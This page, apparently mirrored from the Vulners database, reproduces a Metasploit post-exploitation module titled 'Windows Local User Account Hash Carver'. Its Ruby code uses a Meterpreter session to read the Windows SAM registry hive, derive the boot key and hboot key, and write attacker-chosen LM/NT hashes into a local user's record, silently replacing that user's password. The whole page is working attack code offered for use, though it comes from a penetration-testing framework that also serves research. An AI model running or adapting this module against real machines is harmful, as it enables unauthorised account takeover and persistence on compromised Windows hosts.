Lucene search
K

Windows Local User Account Hash Carver

🗓️ 09 Dec 2016 04:41:01Reported by p3nt4Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 49 Views

Windows Local User Account Hash Carver module to change local user's password directly in the registry

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Local User Account Hash Carver',
        'Description' => %q{ This module will change a local user's password directly in the registry. },
        'License' => MSF_LICENSE,
        'Author' => [ 'p3nt4' ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_registry_open_key
            ]
          }
        }
      )
      )
    register_options(
      [
        OptString.new('user', [true, 'Username to change password of', nil]),
        OptString.new('pass', [true, 'Password, NTHash or LM:NT hashes value to set as the user\'s password', nil])
      ]
    )
    # Constants for SAM decryption
    @sam_lmpass = "LMPASSWORD\x00"
    @sam_ntpass = "NTPASSWORD\x00"
    @sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
    @sam_numeric = "0123456789012345678901234567890123456789\x00"
    @sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
    @sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
  end

  def run
    # Variable Setup
    username = datastore['user']
    pass = datastore['pass']
    # Detecting password style
    if pass.length == 32
      print_status('Password detected as NT hash')
      nthash = pass
      lmhash = 'aad3b435b51404eeaad3b435b51404ee'
    elsif pass.length == 65
      print_status('Password detected as LN:NT hashes')
      nthash = pass.split(':')[1]
      lmhash = pass.split(':')[0]
    else
      print_status('Password detected as clear text, generating hashes:')
      nthash = hash_nt(pass)
      lmhash = hash_lm(pass)
    end
    print_line('LM Hash: ' + lmhash)
    print_line('NT Hash: ' + nthash)
    print_status('Searching for user')
    ridInt = get_user_id(username)
    rid = '%08x' % ridInt
    print_line('User found with id: ' + rid)
    print_status('Loading user key')
    user = get_user_key(rid)
    print_status('Obtaining the boot key...')
    bootkey = capture_boot_key
    print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack('H*')[0]}...")
    hbootkey = capture_hboot_key(bootkey)
    print_status('Modifying user key')
    modify_user_key(hbootkey, ridInt, user, [nthash].pack('H*'), [lmhash].pack('H*'))
    print_status('Carving user key')
    write_user_key(rid, user)
    print_status("Completed! Let's hope for the best")
  rescue ::Interrupt
    raise $ERROR_INFO
  rescue ::Exception => e
    print_error("Error: #{e}")
  end

  def capture_hboot_key(bootkey)
    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account', KEY_READ)
    return if !ok

    vf = ok.query_value('F')
    return if !vf

    vf = vf.data
    ok.close
    hash = Digest::MD5.new
    hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
    rc4 = OpenSSL::Cipher.new('rc4')
    rc4.decrypt
    rc4.key = hash.digest
    hbootkey = rc4.update(vf[0x80, 32])
    hbootkey << rc4.final
    return hbootkey
  end

  def get_user_id(username)
    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\Names', KEY_READ)
    ok.enum_key.each do |usr|
      uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
      r = uk.query_value('')
      rid = r.type
      if usr.downcase == username.downcase
        return rid
      end

      uk.close
    end
    ok.close
    raise 'The user does not exist'
  end

  def get_user_key(rid)
    uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ)
    user = uk.query_value('V').data
    uk.close
    return user
  end

  def write_user_key(rid, user)
    uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE)
    uk.set_value('V', REG_BINARY, user)
    uk.close
  end

  def modify_user_key(hbootkey, rid, user, nthash, lmhash)
    hoff = user[0x9c, 4].unpack('V')[0] + 0xcc
    # Check if hashes exist (if 20, then we've got a hash)
    lm_exists = user[0x9c + 4, 4].unpack('V')[0] == 20
    nt_exists = user[0x9c + 16, 4].unpack('V')[0] == 20
    if !lm_exists && !nt_exists
      raise 'No password is currently set for the user'
    end

    print_status('Modifiying LM hash')
    if lm_exists
      user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass)
    else
      print_error('LM hash does not exist, skipping')
    end
    print_status('Modifiying NT hash')
    if nt_exists
      user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)
    else
      print_error('NT hash does not exist, skipping')
    end
  end

  def rid_to_key(rid)
    s1 = [rid].pack('V')
    s1 << s1[0, 3]
    s2b = [rid].pack('V').unpack('C4')
    s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')
    s2 << s2[0, 3]
    [convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
  end

  def encode_utf16(str)
    str.to_s.encode(::Encoding::UTF_16LE).force_encoding(::Encoding::ASCII_8BIT)
  end

  def encrypt_user_hash(rid, hbootkey, hash, pass)
    if hash.empty?
      case pass
      when @sam_lmpass
        return @sam_empty_lm
      when @sam_ntpass
        return @sam_empty_nt
      end
      return ''
    end

    des_k1, des_k2 = rid_to_key(rid)
    d1 = OpenSSL::Cipher.new('des-ecb')
    d1.encrypt
    d1.padding = 0
    d1.key = des_k1
    d2 = OpenSSL::Cipher.new('des-ecb')
    d2.encrypt
    d2.padding = 0
    d2.key = des_k2
    md5 = Digest::MD5.new
    md5.update(hbootkey[0, 16] + [rid].pack('V') + pass)
    rc4 = OpenSSL::Cipher.new('rc4')
    rc4.encrypt
    rc4.key = md5.digest
    d2o = d2.update(hash[8, 8])
    d1o = d1.update(hash[0, 8])
    enchash = rc4.update(d1o + d2o)
    return enchash
  end

  def hash_nt(pass)
    return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack('H*')[0]
  end

  def hash_lm(key)
    lm_magic = 'KGS!@\#$%'
    key = key.ljust(14, "\0")
    keys = create_des_keys(key[0, 14])
    result = ''
    cipher = OpenSSL::Cipher.new('DES')
    keys.each do |k|
      cipher.encrypt
      cipher.key = k
      result << cipher.update(lm_magic)
    end
    return result.unpack('H*')[0]
  end

  def create_des_keys(string)
    keys = []
    string = string.dup
    until (key = string.slice!(0, 7)).empty?
      # key is 56 bits
      key = key.unpack('B*').first
      str = ''
      until (bits = key.slice!(0, 7)).empty?
        str << bits
        str << (bits.count('1').even? ? '1' : '0')  # parity
      end
      keys << [str].pack('B*')
    end
    keys
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation